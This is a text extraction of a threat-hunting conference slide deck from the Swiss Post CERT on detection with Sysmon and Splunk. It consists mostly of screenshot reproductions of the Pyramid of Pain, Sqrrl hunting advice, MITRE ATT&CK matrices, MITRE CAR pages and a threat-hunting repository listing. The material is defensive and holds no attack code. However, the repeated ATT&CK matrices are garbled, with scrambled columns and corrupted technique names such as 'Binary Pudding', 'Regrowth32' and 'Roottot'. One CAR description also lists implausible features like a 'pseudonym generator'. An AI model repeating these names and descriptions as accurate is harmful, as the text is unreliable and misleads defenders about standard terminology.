



Advanced Incident Detection and Threat Hunting using Sysmon (and Splunk)

Tom Ueltschi, Swiss Post CERT



C:\> whoami /all

- * Tom Ueltschi
- * Swiss Post CERT / SOC / CSIRT, since 2007 (10 years!)
 - Focus: Malware Analysis, Threat Intel, Threat Hunting, Red Teaming
- * Talks about «Ponmocup Hunter» (Botconf, DeepSec, SANS DFIR Summit)
- * BotConf 2016 talk with same title
- * Member of many trust groups / infosec communities
- * FIRST SIG member (Malware Analysis, Red Teaming)
- * Twitter: @c_APT_ure

Outline

- * Introduction on Sysmon and public resources
- * Brief recap of BotConf talk with examples
- * Threat Hunting & Advanced Detection examples
 - Malware Delivery
 - Internal Recon
 - Internal Peer-to-Peer C2 using Named Pipes
 - Detecting Mimikatz (even file-less / in-memory)
 - Persistence Methods
 - Lateral Movement

Standing on the Shoulders of Giants

- * It's hard to come up with **totally new** ideas and approaches
- * Know and use what's already available out there
- * Share experiences what works and how



Pyramid of Pain

detect-respond.blogspot.ch/2013/03/the-pyramid-of-pain.html?view=classic

Enterprise Detection & Response

Posted 1st March 2013 by David Bianco


Classic Flipcard Magazine Mosaic Sidebar Snapshot Timeslide

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Update 2014-01-17

I'm updating this post to include a slightly revised version of the Pyramid. The only change I made was that I added a new level for hashes. I also updated the text to account for this.

The Pyramid of Pain



To illustrate this concept, I have created what I like to call the Pyramid of Pain. This simple diagram shows the relationship between the types of indicators you might use to detect an adversary's activities and how much pain it will cause them when you are able to deny those indicators to them. Let's examine this diagram in more detail.

Types of Indicators

Let's start by simply defining types of indicators make up the pyramid:

Sqrrl on Threat Hunting


SOC Detection Processes ("Loops")




Hunting



Content Development



Automated Detection



Most examples
are belong to here

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Sqrrl on Threat Hunting

How to Decide What to Hunt for and How Often




You can find a large variety of different threats by hunting, but how do you determine where to start and what to search for?

Using these three steps, you'll be able to generate successful hunt plans to uncover new Tactics, Techniques, and Procedures (TTPs) used by cyber adversaries and build out a threat hunting calendar.

Step 1

Choose Your Favorite Attack Model

There are several variations of Cyber Threat Kill Chains, all of which define what actions adversaries must complete in order to achieve their objective while operating within an enterprise network. It doesn't matter which one you select; choose what makes the most sense to you.



For this example, we will select and use MITRE's ATT&CK lifecycle.

Sqrrl on Threat Hunting

How to Decide What to Hunt for and How Often



You can find a large variety of different threats by hunting, but how do you determine where to start and what to search for?

Using these three steps, you'll be able to generate successful hunt plans to uncover new Tactics, Techniques, and Procedures (TTPs) used by cyber adversaries and build out a threat hunting calendar.

Step 1

Choose Your Favorite Attack Model

There are several variations of C2 models, of which define what actions adversaries take in order to achieve their objective within an enterprise network. It doesn't matter which model you choose, what makes the most sense for your organization is what matters.


Lockheed Martin's Cyber Kill Chain

FireEye's Attack Lifecycle

Step 2

Identify Most Concerning Activities

After selecting a model, the next step is to go through each of the phases in the model and identify all the potential attacker activities that you are most concerned with. Each phase in a model can include multiple categories of higher level tactics that an adversary could use, which can then be broken down to a number of actual attacker activities, which you will hunt for.




Persistence
Privilege Escalation
Defense Evasion
Credential Access
Discovery
Lateral Movement
Execution
Collection
Exfiltration
Command and Control

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MITRE ATT&CK Matrix (Tactics)

https://attack.mitre.org/wiki/File:MITRE_attack_tactics.png

File:MITRE attack tactics.png



* Examples will cover

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- Persistence (Registry, Filesystem)
- Discovery / Lateral Movement / Execution (WMI)
- Command and Control (Named Pipes)
- Credential Access (Mimikatz)

MITRE ATT&CK Matrix (Techniques)

https://attack.mitre.org/wiki/Technique_Matrix

Technique Matrix

Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Execution	Collection	Exfiltration	Command and Control
Accessibility Features	Accessibility Features	Binary Padding	Brute Force	Account Discovery	Application Deployment Software	Command-Line Interface	Audio Capture	Automated Exfiltration	Commonly Used Port
Appinit DLLs	Appinit DLLs	Bypass User Account Control	Credential Dumping	Application Window Discovery	Exploitation of Vulnerability	Execution through API	Automated Collection	Data Compressed	Communication Through Removable Media
Authentication Package	Bypass User Account Control	Code Signing	Credential Manipulation	File and Directory Discovery	Logon Scripts	Execution through Module Load	Clipboard Data	Data Encrypted	Connection Proxy
Basic Input/Output System	DLL Injection	Component Firmware	Credentials in Files	Local Network Configuration Discovery	Pass the Hash	Graphical User Interface	Data Staged	Data Transfer Size Limits	Custom Command and Control Protocol
Bootkit	DLL Search Order Hijacking	Component Object Model Hijacking	Exploitation of Vulnerability	Local Network Connections Discovery	Pass the Ticket	InstallUtil	Data from Local System	Exfiltration Over Alternative Protocol	Custom Cryptographic Protocol
Change Default File Association	Exploitation of Vulnerability	DLL Injection	Input Capture	Network Service Scanning	Remote Desktop Protocol	MSBuild	Data from Network Shared Drive	Exfiltration Over Command and Control Channel	Data Encoding
Component Firmware	File System Permissions Weakness	DLL Search Order Hijacking	Network Sniffing	Peripheral Device Discovery	Remote File Copy	PowerShell	Data from Removable Media	Exfiltration Over Other Network Medium	Data Obfuscation
Component Object Model Hijacking	Legitimate Credentials	DLL Side-Loading	Two-Factor Authentication Interception	Permission Groups Discovery	Remote Services	Process Hollowing	Email Collection	Exfiltration Over Physical Medium	Fallback Channels
DLL Search Order Hijacking	Local Port Monitor	Disabling Security Tools		Process Discovery	Replication Through Removable Media	Regsvcs/Regasm	Input Capture	Scheduled Transfer	Multi-Stage Channels
External Remote Services	New Service	Exploitation of Vulnerability		Query Registry	Shared Webroot	Regsvr32	Screen Capture		Multiband Communication
File System Permissions Weakness	Path Interception	File Deletion		Remote System Discovery	Taint Shared Content	Rundll32	Video Capture		Multilayer Encryption
Hypervisor	Scheduled Task	File System Logical Offsets		Security Software Discovery	Third-party Software	Scheduled Task			Remote File Copy
Legitimate Credentials	Service Registry Permissions Weakness	Indicator Blocking		System Information Discovery	Windows Admin Shares	Scripting			Standard Application Layer Protocol

MITRE ATT&CK Matrix (Techniques)

<https://attack.mitre.org>

Technique

Persistence	Accessibility Features
Applnit DLLs	Main page
Authentication Package	Help
Basic Input/Output System	Contribute
Bootkit	References
Change Default File Association	Tactics
Component Firmware	<ul style="list-style-type: none"> Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Movement Execution Collection Exfiltration Command and Control
Component Object Model Hijacking	Techniques
DLL Search Order Hijacking	<ul style="list-style-type: none"> All Techniques Technique Matrix
External Remote Services	Groups
File System Permissions Weakness	<ul style="list-style-type: none"> All Groups
Hypervisor	Software
Legitimate Credentials	<ul style="list-style-type: none"> All Software

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ATT&CK™
Adversarial Tactics, Techniques & Common Knowledge

Secure | https://attack.mitre.org/wiki/ATT%26CK_Matrix

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ATT&CK Matrix

Unchecked

The ATT&CK Matrix provides a visual representation of the adversarial techniques described in the ATT&CK model.

Tactic categories are listed on the top row individual techniques as cells underneath each tactic to denote that technique can be used to accomplish that particular tactic. Techniques can span multiple tactic categories signifying that they can be used for more than one purpose.

Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Execution	Collection	Exfiltration	Command and Control
DLL Search Order Hijacking			Brute Force	Account Discovery	Windows Remote Management		Automated Collection	Automated Exfiltration	Commonly Used Port
Legitimate Credentials			Credential Dumping	Application Window Discovery		Third-party Software	Clipboard Data	Data Compressed	Communication Through Removable Media
Accessibility Features	Binary Pudding				Application Deployment Software	Command Line	Data Staged	Data Encrypted	Custom Command and Control Protocol
Applnit DLLs	Code Signing		Credential Manipulation		Execution Through API		Data from Local System	Data Transfer Size Limits	Custom Cryptographic Protocol
Authentication Package	Component Firmware			File and Directory Discovery	Graphical User Interface	Clipboard Data	Data from Network Shared Drive	Exfiltration Over Alternative Protocol	Data Encoding
Basic Input/Output System	New Service	DLL Side-loading	Credentials In Files	Local Network Configuration Discovery	Logon Scripts	PowerShell	Data from Removable Media	Exfiltration Over Command and Control Channel	Data Obfuscation
Bootkit				Local Network Configuration Discovery	Pass the Hash	Process Hollowing	Email Collection	Exfiltration Over Other Network Medium	Fallback Channels
Change Default File Association	Path Interception	Displaying Security Tools	Input Capture	Network Sniffing	Pass the Ticket	Regsvr32	Input Capture	Exfiltration Over Other Network Medium	Multi-Stage Channels
Component Firmware	Scheduled Task	File Deletion		Network Service Scanning	Remote Desktop Protocol	Rundll32	Screen Capture	Exfiltration Over Multiband Communication	Multiband Communication
Component Object Model Hijacking	File System Permissions Weakness	File System Logical Offline		Two-factor Authentication Interception	Remote File Copy	Remote Services	Audio Capture	Exfiltration Over Other Physical Medium	Multi-layer Encryption
DLL Search Order Hijacking	Service Registry Permission Weakness			Peripheral Device Scanning	Replication Through Removable Media	Scheduled Task	Video Capture	Scheduled Transfer	Peer Connection
External Remote Services	Service Registry Permission Weakness			Permissions Group Discovery	Service Execution	Shared Webroot	Management Instrumentation		Remote File Copy
File System Permissions Weakness	Web Shell	Indicator Blocking	Exploitation of Vulnerability	Process Discovery		Windows Management Instrumentation	Execution Through Module Load		Standard Application Layer Protocol
Hypervisor				Query Registry					Standard Cryptographic Protocol
Legitimate Credentials				Remote System Discovery					Standard Non-application Layer Protocol
				Security Software Discovery					Uncommonly Used Port
				System Information Discovery					Web Service
				System Owner / User Discovery					Data Encoding
				System Service Discovery					
				System Time Discovery					

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Command and control

- commonly Used Port
- communication Through Removable media
- connection Proxy
- Custom Command and Control Protocol
- Custom Cryptographic Protocol
- Data Encoding
- Data Obfuscation
- Fallback Channels
- Multi-Stage Channels
- Multiband Communication
- Multi-layer Encryption
- Peer Connection
- Remote File Copy
- Standard Application Layer Protocol
- Standard Cryptographic Protocol
- Standard Non-application Layer Protocol
- Uncommonly Used Port
- Web Service
- Data Encoding

MITRE ATT&CK Matrix (DGA)

Uses

Defensive Gap Analysis

An organization can use the ATT&CK Matrix as a way to visualize defensive coverage of techniques and identify where gaps exist. Prioritization of building defenses can be based on documented adversary use cases and threat groups.

The example below is a notional case study for how an organization can use the ATT&CK Matrix to build a defensive gap analysis and intrusion detection analytics to cover adversary techniques and resources next to cover more techniques or analytic coverage of cyber adversaries.

Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Execution	Collection	Exfiltration	Command and Control
DLL Search Order Hijacking		Brute Force	Account Discovery	Windows Remote Management		Automated Collection	Automated Exfiltration		Commonly Used Port
Legitimate Credentials		Credential Dumping	Application Window Discovery	Third-party Software		Clipboard Data	Data Compressed		Communication Through Removable Media
Accessibility Features	Binary Padding				Application Deployment Software	Command-Line	Data Shaped	Data Encrypted	
Appnit DLLs	Code Signing	Credential Manipulation			Execution Through API		Data from Local System	Data Transfer Size Limits	Custom Command and Control Protocol
Local Port Monitor	Component Firmware		File and Directory Discovery		Exploitation of Vulnerability	Graphical User Interface	Data from Network Shared Drive	Exfiltration Over Alternative Protocol	
New Service	DLL Side-Loading	Credentials in Files		Local Network Configuration Discovery	InstallUtil	PowerShell	Data from Removable Media	Exfiltration Over Command and Control Channel	Custom Cryptographic Protocol
Port Interception	Disabling Security Tools	Input Capture		Local Network Connections Discovery	Pass the Hash	Process Hollowing	Emoti Collection		Data Obfuscation
Scheduled Task	File Deletion	Network Sniffing		Network Service Scanning	Pass the Ticket	Regsvcs/Regasm		Exfiltration Over Other Network Medium	Fallback Channels
File System Permissions Weakness	File System Logical Objects	Two-Factor Authentication Interception		Peripherical Device Discovery	Remote Desktop Protocol	Regrowth32	Input Capture		Multi-Stage Channels
Service Registry Permission Weakness		Indicator Blocking		Permissions Group Discovery	Remote File Copy	Rundll32	Screen Capture		Multi-Band Communication
Web Shell			Exploitation of Vulnerability	Process Discovery	Remote Services	Scheduled Task	Audio Capture	Exfiltration Over Other Physical Medium	Multi-layer Encryption
Basic Input/Output System		Bypass User Account Control		Query Registry	Remote Through Remote Media	Scripting	Video Capture		Scheduled Transfer
Beautif		DLL Injection		Remote System Discovery	Shared Webroot	Service Execution			Peer Connections
Change Default File Association		Component Object Model Hijacking	Indicator Removal from Tools	Security Software Discovery	Stolen Webroot	Windows Management Instrumentation			Remote File Copy
Component Firmware			Indicator Removal on Host	System Information Discovery	Taint Shared Content	Windows Admin Shares			Standard Application Layer Protocol
Hypervisor			Install Util	System Owner/User Discovery	Windows Admin Shares	MsiBuild			Standard Cryptographic Protocol
Logon Scripts			Masquerading	System Service Discovery		Execution Through Module Load			Standard Non-Application Layer Protocol
Modify Existing Service			Modify Registry	System Time Discovery					Uncommonly Used Port
Redundant Access			NTFS Extended Attributes						Web Service
Registry Run Keys/Start Folder			Obfuscated Files or Information						Data Encoding
Security Support Provider			Process Hollowing						
Shortcut Modification			Redundant Access						
Windows Management Instrumentation Event Subscription			Registers/Register						
Winlogon Helper DLL			Regsvr						
Ntldr Helper DLL			Rootkit						
Authentication Package			Rundll32						
External Remote Services			Scripting						
			Software Redlining						
			Timeline						
			MsiBuild						
			Network Share Removal						
			Install Root Certificates						

This notional depiction shows how an organization would use the MITRE ATT&CK framework to show defensive gaps against adversary activity within their network.

- Shows a high confidence in the detection or defense of an adversary
- Shows a medium confidence in the detection or defense of an adversary
- Shows no confidence, visibility, or blocking capability of an adversary

MITRE ATT&CK Matrix (T&T)

ATT&CK Tactics and Techniques

Finesse	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Execution	Collection	Efiltration	Command and Control
DLL Search Order Hijacking			Brute Force	Account Discovery	Windows Remote Management	Automated Collection	Automated Exfiltration	Commonly Used Port	
Legitimate Credentials	Binary Padding	Credential Dumping	Application Window Discovery		Third-party Software	Clipboard Data	Data Compressed	Communication Through Removable Media	
Accessibility Features	Code Signing	Credential Manipulation	File and Directory Discovery		Application Deployment Software	Command-Line	Data Staged	Data Encrypted	
Appln DLLs	Component Firmware		Credentials in Files	Local Network Configuration Discovery	Execution through API	Data from Local System	Data Transfer Size Limits	Custom Command and Control Protocol	
Local Port Monitor	DLL Side-Loading		Input Capture	Local Network Connections Discovery	Graphical User Interface	Data from Network Shared Drive	Exfiltration Over Alternative Protocol	Custom Cryptographic Protocol	
New Service	Disabling Security Tools		Network Sniffing	Pass the Hash	InstallUtil			Data Obfuscation	
Path Interception	File Deletion			Process Hollowing	Logon Scripts	PowerShell	Data from Removable Media	Fallback Channels	
Scheduled Task				Pass the Ticket	Regsvr32/Regasm	RawCollection	Exfiltration Over Command and Control Channel	Multi-Stage Channels	
File System Permissions Weakness	File System Logical Offset			Network Service Scanning	Remote Desktop Protocol	Raw32	Input Capture	Multi-band Communication	
Service Registry Permissions Weakness					Remote File Copy	Rand32	Screen Capture		
Web Shell	Indicator Blocking				Peripheral Device Discovery	Remote Services	Scheduled Task	Audio Capture	
	Exploitation of Vulnerability				Replication Through Removable Media	Scripting	Video Capture	Exfiltration Over Physical Medium	
Basic Input/Output System	Bypass User Account Control				Permission Groups Discovery	Service Execution		Scheduled Transfer	
Bootkit	DLL Injection				Process Discovery	Shared Webroot	Windows Management Instrumentation		
Change Default File Association	Component Object Model Hijacking				Query Registry	Tant Shared Content			
Component Firmware		Indicator Removal from Tools			Remote System Discovery	Windows Admin Shares	MSBuild		
Hypervisor		Indicator Removal on Host							
Logon Scripts		InstallUtil							
Modify Existing Service		Masquerading							
Redundant Access		Modify Registry							
Registry Run Keys / Start Folder		NTFS Extended Attributes							
Security Support Provider		Obfuscated Files or Information							
Shortcut Modification		Process Hollowing							
Windows Management Instrumentation on Event Subscription		Redundant Access							
Winlogon Helper DLL		Regsvr32							
		Regsvr32							
		Roar64							
		Rundll32							
		Scanning							
		Software Racking							
		Timestamp							
		MSBuild							
		Network Share Removal							

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MITRE ATT&CK Matrix (ABDC)

ATT&CK-Based Detection Capabilities (Notional)

Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Execution	Collection	Exfiltration	Command and Control
DLL Search Order Hijacking			Brute Force	Account Discovery	Windows Remote Management	Automated Collection	Automated Exfiltration	Commonly Used Port	
Legitimate Credentials			Credential Dumping	Application Window Discovery	Third-party Software	Clipboard Data	Data Compressed	Communication Through Removable Media	
Accessibility Features		Binary Padding			Application Deployment Software	Data Staged	Data Encrypted		
AppInit DLLs		Code Signing			Execution through API	Data from Local System	Data Trans Size Limits		
Local Port Monitor		Component Firmware	Credential Manipulation	File and Directory Discovery	Desktop User Interface	Data from Network Shared Drive	Data Exfiltration Over Alternative Protocol	Custom Command and Control Protocol	
New Service		DLL Side-Loading	Credentials in Files	Local Network Configuration Discovery	InstallUtil			Custom Cryptographic Protocol	
Path Interception		Disabling Security Tools	Input Capture	Logon Scripts	PowerShell	Data from Removable Media	Exfiltration Over Command and Control Channel	Data Obfuscation	
Scheduled Task		File Deletion	Network Sniffing	Pass the Hash	Process Hollowing	Email Collection		Fallback Channels	
File System Permissions Weakness		File System Logical Offsets	Two-Factor Authentication Interception	Pass the Ticket	Regexec/Register	Input Capture	Exfiltration Over Other Network Mediums	Multi-Stage Channels	
Service Registry Permissions Weakness				Remote Desktop Protocol	Regsvr32	Screen Capture		Multiband Communication	
Web Shell		Indicator Blocking		Peripheral Device Discovery	Remote File Copy	Rundll32		Multi-layer Encryption	
Basic Input/Output System		Exploitation of Vulnerability		Remote Services	Scheduled Task	Audio Capture	Exfiltration Over Physical Medium	Scheduled Transfer	Peer Connections
Bootkit		Evade User Account Control		Replication Through Removable Media	Scripting	Video Capture		Remote File Copy	
Change Default File Association		DLL Injection		Service Execution				Standard Application Layer Protocol	
Component Firmware		Component Object Model Hijacking	Indicator Removal from Tools	Shared Webroot	Windows Management Instrumentation			Standard Cryptographic Protocol	
Hypervisor			Indicator Removal on Host	Windows Admin Shares	MsiBuild			Standard Non-Application Layer Protocol	
Logon Scripts			InstallUtil					Uncommonly Used Port	
Modify Existing Service			Messenger					Web Services	
Redundant Access			Modify Registry						
Registry Run Keys / Start Folder			NTFS Extended Attributes						
Security Support Provider			Obliterated files or information						
Shortcut Modification			Process Hollowing						
Windows Management Instrumentation Event Subscription			Redundant Access						
Winlogon Helper DLL			Regexec/Register						
			Regsvr32						
			Roottot						
			Rundll32						
			Scripting						
			Software Packing						
			Timestamp						
			MsiBuild						
			Network Share Removal						

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MITRE ATT&CK Matrix

 **TomU** @c_APT_ure · Mar 16
What @MITREattack technique (if any) would describe "access token stealing"
e.g. using #CobaltStrike steal_token ?



Raffi's Abridged Guide
This blog post is a fast familiar with Meterpreter
blog.cobaltstrike.com

 **TomU** @c_APT_ure · Mar 16
not sure if I overlooked it? Where is "token stealing"?
attack.mitre.org/wiki/All_Techn...

ATT&CK
@MITREattack

Replies to [@c_APT_ure](#)

haven't added this yet. Please shoot any additional info you have to attack@mitre.org and we'll work to include it

LIKES 3

7:16 PM - 16 Mar 2017

Contributions are welcome

MITRE Cyber Analytics Repository

The screenshot shows a web browser displaying the MITRE Cyber Analytics Repository (CAR) on a secure connection (https://car.mitre.org/wiki/Main_Page). The page title is "Welcome to the Cyber Analytics Repository". The left sidebar has a dark purple background and contains links to Main page, CARET, Analytic List, Contribute, Help, Coverage, Data Model, Sensors, Tools, Printable version, Permanent link, Contact, and Contact Us. The main content area has a white background and displays the following text:

The Cyber Analytics Repository (CAR) is a knowledge base of analytics developed by [MITRE](#) based on the Adversary Tactics, Techniques, and Common Knowledge (ATT&CK™) threat model.

If you want to start exploring try viewing a [list of all analytics](#) or use the [CAR Exploration Tool \(CARET\)](#).

Analytics stored in CAR contain the following information

- a *hypothesis* which explains the idea behind the analytic
- the *information domain* or the primary domain the analytic is designed to operate within (e.g. host, network, process, external)
- references to ATT&CK Techniques and Tactics that the analytic detects
- the [type of analytic](#)
- a pseudocode description of how the analytic might be implemented
- a unit test which can be run to trigger the analytic

CAR is intended to be shared with cyber-defenders throughout the community. Check out the [help](#) page for an introduction to using CAR. See the [Methodology](#) page for more information on how CAR analytics are created. For questions regarding the use of the wiki software, consult the [MediaWiki User's Guide](#).

MITRE Cyber Analytics Repository

Cyber Analytic Repository

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Welcome to the Cyber Analytics Repository



The Cyber Analytic Repository (CAR) is a collection of threat intelligence and analytic tools developed by the Adversary Emulation and Analysis group at MITRE. If you want to learn more about how to use CAR to defend your organization, check out the Analytics section. CAR is intended to help analysts quickly identify and respond to threats. It includes a hypothesis engine, indicators of compromise, network flow analysis, reference data, the typical adversary, a pseudonym generator, and a unit converter.

based on
CARET (CAR-based Threat Emulation and Response Toolkit).
post,

page
analytics
guide.

Main page
CARET
Analytic List
Contribute
Help

Coverage
Data Model
Sensors

Tools
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Contact Us

MITRE CARET (Analytics → T&T Matrix)

Secure | https://car.mitre.org/caret/#/

CARET DOWNLOAD DATA ABOUT VERSION 0.0.7

ATT&CK MAPPING EXPLORE NETWORKS

Detailed grid Enable outlines

Select group

Search Analytics

SELECT ALL **CLEAR ALL**

Auto-run Differences
CAR-2013-01-002

SMB Events Monitoring
CAR-2013-01-003

Processes Spawning cmd.exe
CAR-2013-02-003

Simultaneous Logins on a PC
CAR-2013-02-008

User Logged in to
CAR-2013-02-012

Reg.exe called from Command
CAR-2013-03-001

Quick execution of a series of suspicious commands
CAR-2013-04-002

Suspicious Run Locations
CAR-2013-05-002

Map Analytics to T&T Matrix

Command and Control	Exfiltration	Credential Access	Persistence	Collection	Defense Evasion	Discovery	Privilege Escalation	Lateral Movement	Execution
Data Obfuscation	Data Compressed	Credential Dumping	Winlogon Helper DLL	Data from Local System	File System Logical Offsets	System Service Discovery	Local Port Monitor	Application Deployment...	Windows Remote Management
Fallback Channels	Exfiltration Over Other Network	Network Sniffing	Local Port Monitor	Data from Removable Media	Binary Padding	Application Window...	Accessibility Features	Remote Services	Service Execution
Custom Cryptographic...	Automated Exfiltration	Input Capture	Accessibility Features	Data from Network Share	Rootkit	Query Registry	Path Interception	Windows Remote Management	Windows Management...
Multiband Communication	Data Encrypted	Exploitation of Vulnerability	Basic Input/Output...	Input Capture	Obfuscated Files or Information	Local Network Configuration...	DLL Search Order Hijacking	Logon Scripts	Scheduled Task
Standard Cryptographic...	Scheduled Transfer	Credentials in Files	Shortcut Modification	Data Staged	Masquerading	Remote System Discovery	File System Permissions...	Shared Webroot	Command-Line Interface
Commonly Used Port	Data Transfer Size Limits	Credential Manipulation	Modify Existing Service	Screen Capture	DLL Search Order Hijacking	System Owner/User...	New Service	Exploitation of Vulnerability	Graphical User Interface
Uncommonly Used Port	Exfiltration Over Command and...	Brute Force	Path Interception	Email Collection	Software Packing	Network Service Scanning	Scheduled Task	Third-party Software	Scripting
Standard Application Lay...	Exfiltration Over Alternative...	Two-Factor Authentication	Logon Scripts	Clipboard Data	Indicator Blocking	Local Network Connections...	DLL Injection	Pass the Hash	Third-party Software
	Exfiltration Over Multiple Mediums		DLL Search Order Hijacking	Automated Collection	DLL Injection	Process Discovery	Service Registry Permissions...	Remote Desktop Protocol	Rand32
		Standard Non-Application Lay...	Change Default File Association	Audio Capture	Scripting	Security Software Discovery	Exploitation of Vulnerability	Windows Admin Shares	PowerShell
		Web Service	File System Permissions...	Video Capture	Indicator Removal from Tools	Permission Groups Discovery	Legitimate Credentials	Taint Shared Content	Process Hollowing
		Multi-Stage Channels	New Service		Exploitation of Vulnerability	System Information...	Bypass User Account Control	Replication Through...	Execution through API
			Scheduled Task		Indicator Removal on Host	File and Directory Discovery	Web Shell	Pass the Ticket	Regsvr32
			Service Registry Permissions...		DLL Side-Loading	Account Discovery	AppInit DLLs	Remote File Copy	InstallUtil
			Registry Run Keys / Start Folder		Legitimate Credentials	Peripheral Device Discovery			RegSave/RegAssn
					System Timer				

MITRE CARET (Analytics → T&T Matrix)

Detailed grid

**CAR: Exec of susp cmd
T&T: Discovery / many**

	Command and Control	Exfiltration	Credential Access	Persistence	Collection	Defense Evasion	Discovery	Privilege Escalation	Lateral Movement	Execution
Search Analytics	Standard Cryptographic	Scheduled Transfer	Credentials in Files	File Modification	Data Staging	Masquerading	System Service	Local Port Monitor	Application Deployment	Windows Remote...
	Commonly Used Port	Data Transfer	Credential Manipulation	Modify Existing...	Screen Capture	DLL Search	Application Window	Accessible Features	Remote Services	Service Execution
	Uncommon Used Port	Exfiltration Over...	Brute Force	Path Interceptio...	Email Collection	Software Packing	Query Registry	Path Interceptio...	Windows Remote...	Windows Managem...
	Standard Application	Exfiltration Over...	Two-Factor	Logon Scripts	Clipboard Data	Indicator Blocking	Local Network	DLL Search...	Logon Scripts	Scheduled Task
	Multilayer Encryption	Exfiltration Over...		DLL Search...	Automated Collection	DLL Injection	Remote System...	File System...	Shared Webroot	Command Line...
	Connection Proxy			Change Default...	Audio Capture	Scripting	System Owner/U...	New Service	Exploitatio...	Graphical User...
	Communication Through...			File System...	Video Capture	Indicator Removal...	Network Service...	Scheduled Task	Third-party...	Scripting
	Custom Command			New Service		Exploitation of...	Local Network	DLL Injection	Pass the Hash	Third-party...
	Standard Non-...			Scheduled Task		System Informat...	Process Discover...	Service Registr...	Remote Deskt...	Rundll32
	Web Service			Service Registr...		Indicator Removal...	Security Softwar...	Exploitatio...	Windows Admin...	PowerShell
	Multi-Stage...			Registry Run Key...		DLL Side-Loading	Permission Groups...	Legitimate Credent...	Taint Shared...	Process Hollowing
	Remote File Copy			Hypervisor		Account Discover...	System Informat...	Bypass User...	Replication Throu...	Execution through...
	Data Encoding			Bootkit		Legitimate Credential...	Indicator Removal...	Web Shell	Pass the Ticket	Regsvr32
						Rundll32	DLL Side-Loading	AppInit DLLs	Remote File Copy	InstallUtil
						System Time...	File and Director...			Regsvcs/Re...
							Exploitation of...			MSBuild
							Indicator Removal...			Execution through...

Quick execution of a series of suspicious commands

CAR-2013-04-002

Suspicious Run Locations

CAR-2013-05-002

SMB Write Request

CAR-2013-05-003

Execution with AT

CAR-2013-05-004

SELECT ALL **CLEAR ALL**

MITRE CARET (Analytics → T&T Matrix)

- Detailed grid
- Enable outlines

Select group

Search Analytics

SELECT ALL

CLEAR ALL

Command Launched from WinLogon

CAR-2014-11-008

Remotely Launched Executables via WMI

CAR-2014-12-001

	Command and... Data Obfuscatio...	Exfiltration Fallback Chan...	Credential Access Compress...	Persistence Collection Dumping	Defense Evasion Data from Local...	Discovery File System...	Privilege Escalation System Service...	Lateral Movement Local Port Monitor	Execution Application Deploy...
Used Port	Exfiltration Over... Uncommon Used Port	Brute Force Two-Factor...	Path Interceptio...	Email Collection Clipboard Data	Software Packing Indicator Blocking	Search... Network Service...	System Owner/U...	New Service Scheduled Task	DLL Search... Logon Scripts
Standard Application	Exfiltration Over... Multilayer Encryption	Exfiltration Over... Connection Proxy	Logon Scripts Change Default...	Clipboard Data Automated Collection	DLL Search... Indicator Blocking	Local Network... Process Discovery	DLL Injection Service Registr...	Pass the Hash Remote Desktop...	Shared Webroot Command Line...
Communication	Exfiltration Over... Custom Command	Exfiltration Over... Communic Throu...	File System... New Service	Video Capture System Informat...	Audio Capture Scripting	Security Software...	Exploitatio... of... System Informat...	Windows Admin... Bypass User...	Graphical User... PowerShell
Standard Non-...	Exfiltration Over... Standard Non-...	Exfiltration Over... Indicator Remova...	Scheduled Task	Indicator Remova...	Exploitatio... of... Indicator Remova...	Legitimate Credentia...	Taint Shared... Replication Throu...	Execution through... Web Shell	Rundll32 Hollowing Regsvr32

CAR: Remote exec via WMI
T&T: Execution / WMI

Threat Hunting Project

 www.threathunting.net

The ThreatHunting Project

Hunting for *adversaries* in your IT
environment

Connect With Us

 @ThreatHuntProj

Project Members

 @DavidJBianco

Threat Hunting Project

GitHub, Inc. [US] | <https://github.com/ThreatHuntingProject/ThreatHunting/tree/master/hunts>

ThreatHuntingProject / ThreatHunting

Code Issues 2 Pull requests 0 Projects 0 Wiki Pulse Graphs

Branch: master ThreatHunting / hunts /

Create new file Upload files Find file History

DavidJBlanco Added new hunt for suspicious command shells in process execution data Latest commit 2211bbd on Dec 30, 2016

..

analyze_producer_consumer_ratio.md	Added new PCR reference	7 months ago
antivirus_logs.md	Added a bunch of hunts from DigitalGuardian	10 months ago
beacon_detection_via_intra_request_...	Added @jackcr twitter link for malware C2 hunting.	10 months ago
checking-how-outsiders-see-you.md	Added new Safebrowsing hunt	10 months ago
comparing_host_images_memory_du...	Fixed links to published procedures (removed a few stale ones, fixed)	10 months ago
critical_process_impersonation.md	Added link to string distance algorithm description	5 months ago
dynamic_dns_c2.md	fixes	10 months ago
emet_log_mining.md	Fixed	4 months ago
golden_ticket.md	Create	4 months ago
http_uri_analysis.md	fixes	10 months ago
http_user_agent_analysis.md	New	10 months ago
internet_facing_http_request_analysi...	Initial	4 months ago
lateral-movement-via-explicit-creden...	Add	4 months ago
lateral-movement-windows-authent...	Add	8 months ago
lateral_movement_detection_via_pro...	Add	9 months ago
net_session_c2.md	Add	4 months ago
ntfs_extended_attribute_analysis.md	Switc	9 months ago
privileged-group-tracking.md	Corr	9 months ago
psexec-windows-events.md	Switc	9 months ago
ram_dumping.md	Fixed links to published procedures (removed a few stale ones, fixed)	10 months ago
rdp_external_access.md	Added refs to MITRE Cyber Analytic Repository	4 months ago
renamed-tools.md	Added refs to MITRE Cyber Analytic Repository	4 months ago
rogue_listeners.md	Fixed links to published procedures (removed a few stale ones, fixed)	10 months ago
shimcache_amcache.md	Fixed links to published procedures (removed a few stale ones, fixed)	10 months ago
suspicious_command_shells.md	Added new hunt for suspicious command shells in process execution data	4 months ago
suspicious_process_creation_via_wi...	Added refs to MITRE Cyber Analytic Repository	4 months ago
webshell_behavior.md	Minor edits to clean up formatting	8 months ago
webshells.md	Switches _ to ` for pandoc latex of inline code	9 months ago
windows_autoruns_analysis.md	Added refs to MITRE Cyber Analytic Repository	4 months ago
windows_driver_analysis.md	Switches _ to ` for pandoc latex of inline code	9 months ago
windows_prefetch_cache_analysis.md	Switches _ to ` for pandoc latex of inline code	9 months ago
windows_service_analysis.md	Switches _ to ` for pandoc latex of inline code	9 months ago

ThreatHunter Playbook

GitHub, Inc. [US] | <https://github.com/^-Ward0g/ThreatHunter-Playbook>

The ThreatHunter-Playbook

Roberto Rodriguez [@Cyb3rWard0g](https://twitter.com/Cyb3rWard0g)

